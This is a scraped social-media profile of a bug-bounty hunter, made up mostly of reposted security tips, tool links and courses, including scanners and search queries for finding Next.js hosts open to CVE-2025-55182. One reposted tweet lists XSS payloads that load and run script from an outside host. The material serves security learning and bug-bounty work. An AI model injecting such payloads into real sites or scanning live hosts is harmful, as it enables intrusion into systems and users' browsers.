dirtycoder0124's profile picture. A positive, never give up person. Founder of https://blindf.com
Telegram group
https://t.me/+xa7Q6GcEudFkYzA1

Vipin Panchal

@dirtycoder0124

A positive, never give up person. Founder of https://blindf.com Telegram group https://t.me/+xa7Q6GcEudFkYzA1

Vipin Panchal đã đăng lại

I've developed a professional and technical tool for Next.js (CVE-2025-55182) 🥳 I'm offering this tool, which allows you to perform both bulk and individual scans, as well as testing on live subdomains. github; github.com/ynsmroztas/Nex… #DevTools #python #bugbountytip

ynsmroztas's tweet image. I've developed a professional and technical tool for Next.js (CVE-2025-55182) 🥳

I'm offering this tool, which allows you to perform both bulk and individual scans, as well as testing on live subdomains.

github;

github.com/ynsmroztas/Nex…

#DevTools #python #bugbountytip…

Vipin Panchal đã đăng lại

Reminder: React2Shell detection is live across Burp Suite. If you’re assessing exposure in Next.js apps, here’s how to run reliable checks with Burp Suite Professional or Burp Suite DAST: bit.ly/4rFhtij


Vipin Panchal đã đăng lại

🚨 POC for CVE-2025-55182 that works on Next.js 16.0.6 Here are the exact, battle-tested queries you need — Censys, Shodan, FOFA, ZoomEye, Quake, BinaryEdge, Hunter.how, and Nuclei matchers — all tuned specifically to find Next.js RSC / React Server Components…


Paste the data, and it will extract the domains. Not perfect, but useful for me. #bugbountytips #BugBounty dirtycoder0124.github.io/domain-extract…

dirtycoder0124's tweet image. Paste the data, and it will extract the domains. Not perfect, but useful for me.
#bugbountytips #BugBounty
dirtycoder0124.github.io/domain-extract…

Just got a reward for a high vulnerability submitted on @yeswehack -- (XSS) - Stored (CWE-79). yeswehack.com/hunters/dirty0… #YesWeRHackers Steps: 1. Found misconfigured Algolia key 2. Escalate it into Stored XSS 3. Payload executed when searching for a specific keyword #bugbountytips


Vipin Panchal đã đăng lại

Bug Bounty Search Engine Google advanced search queries generator for target domain: File & Directory Discovery Vulnerabilities & Exploits Subdomain & Asset Discovery And lot more github.com/gatiella/Bug-B… #InfoSec #BugBounty #bugbountytips #CyberSecurity

viehgroup's tweet image. Bug Bounty Search Engine

Google advanced search queries generator for target domain:

File & Directory Discovery
Vulnerabilities & Exploits
Subdomain & Asset Discovery
And lot more

github.com/gatiella/Bug-B…

#InfoSec #BugBounty #bugbountytips #CyberSecurity

Vipin Panchal đã đăng lại

Stop missing cache poisoning vulnerabilities. Most hunters only test X-Forwarded-Host and miss 90% of the attack surface. I wrote a complete guide to finding what others miss: medium.com/@Aacle/the-cac… #bugbounty #infosec

aacle_'s tweet image. Stop missing cache poisoning vulnerabilities.

Most hunters only test X-Forwarded-Host and miss 90% of the attack surface.

I wrote a complete guide to finding what others miss:

medium.com/@Aacle/the-cac…

#bugbounty #infosec

Vipin Panchal đã đăng lại

LLM-powered subdomain enumeration tool.⚔️ - github.com/samogod/samosc… #infosec #cybersec #bugbountytips

0x0SojalSec's tweet image. LLM-powered subdomain enumeration tool.⚔️

- github.com/samogod/samosc…

#infosec #cybersec #bugbountytips

Vipin Panchal đã đăng lại

Everyone hunts for common bugs… but the real rewards often hide in the underrated ones. I’ve made a YouTube playlist — “Underrated Vulnerabilities” showing how to find impactful bugs most hackers miss. Practical. Real. Eye-opening. Watch here: youtube.com/watch?v=GZ5yaQ…

thehacktivator's tweet image. Everyone hunts for common bugs… but the real rewards often hide in the underrated ones.

I’ve made a YouTube playlist — “Underrated Vulnerabilities” showing how to find impactful bugs most hackers miss.
Practical. Real. Eye-opening.
Watch here:  youtube.com/watch?v=GZ5yaQ…

Vipin Panchal đã đăng lại

Want to learn XSS from scratch and turn it into real, practical skills? I made a 23-video YouTube playlist that takes you from basic payloads to advanced XSS chains — with live target demos. Completely FREE. Watch the playlist youtube.com/watch?v=1WFEVp…

thehacktivator's tweet image. Want to learn XSS from scratch and turn it into real, practical skills?

I made a 23-video YouTube playlist that takes you from basic payloads to advanced XSS chains — with live target demos.

Completely FREE. Watch the playlist

youtube.com/watch?v=1WFEVp…

Vipin Panchal đã đăng lại

Best Alternatives to alert(1) #XSS Payload 1. import('//X55.is') x55.is/brutelogic/xss… 2. $.getScript('//X55.is') * x55.is/brutelogic/xss… 3. appendChild(createElement`script`).src='//X55.is' x55.is/brutelogic/xss… * requires jQuery loaded on DOM #hack2learn


Vipin Panchal đã đăng lại

Use NextJS? Recon ✨ A quick way to find "all" paths for Next.js websites: DevTools->Console console.log(__BUILD_MANIFEST.sortedPages) javascript​:console.log(__BUILD_MANIFEST.sortedPages.join('\n')); Cred = linkedin.com/in/0xsojalsec?… #infosec #cybersec #bugbountytips

ofjaaah's tweet image. Use NextJS? Recon ✨

A quick way to find "all" paths for Next.js websites:
DevTools->Console

console.log(__BUILD_MANIFEST.sortedPages)

javascript​:console.log(__BUILD_MANIFEST.sortedPages.join('\n'));

Cred = linkedin.com/in/0xsojalsec?…

#infosec #cybersec #bugbountytips

Vipin Panchal đã đăng lại

Live bug bounty videos!!!!! mega.nz/folder/dglxGay…

TheMsterDoctor1's tweet image. Live bug bounty videos!!!!!

mega.nz/folder/dglxGay…

Vipin Panchal đã đăng lại

🔍 Unlock the secrets of the web with "The Art of Web Reconnaissance: Bug Bounty & Ethical Hacking"! 🌐💻 📌 What you'll learn: - Advanced web reconnaissance techniques - Identifying and exploiting vulnerabilities - Best practices for ethical hacking - Real-world bug bounty…

TheMsterDoctor1's tweet image. 🔍 Unlock the secrets of the web with "The Art of Web Reconnaissance: Bug Bounty & Ethical Hacking"! 🌐💻

📌 What you'll learn:
- Advanced web reconnaissance techniques
- Identifying and exploiting vulnerabilities
- Best practices for ethical hacking
- Real-world bug bounty…

Loading...

Something went wrong.


Something went wrong.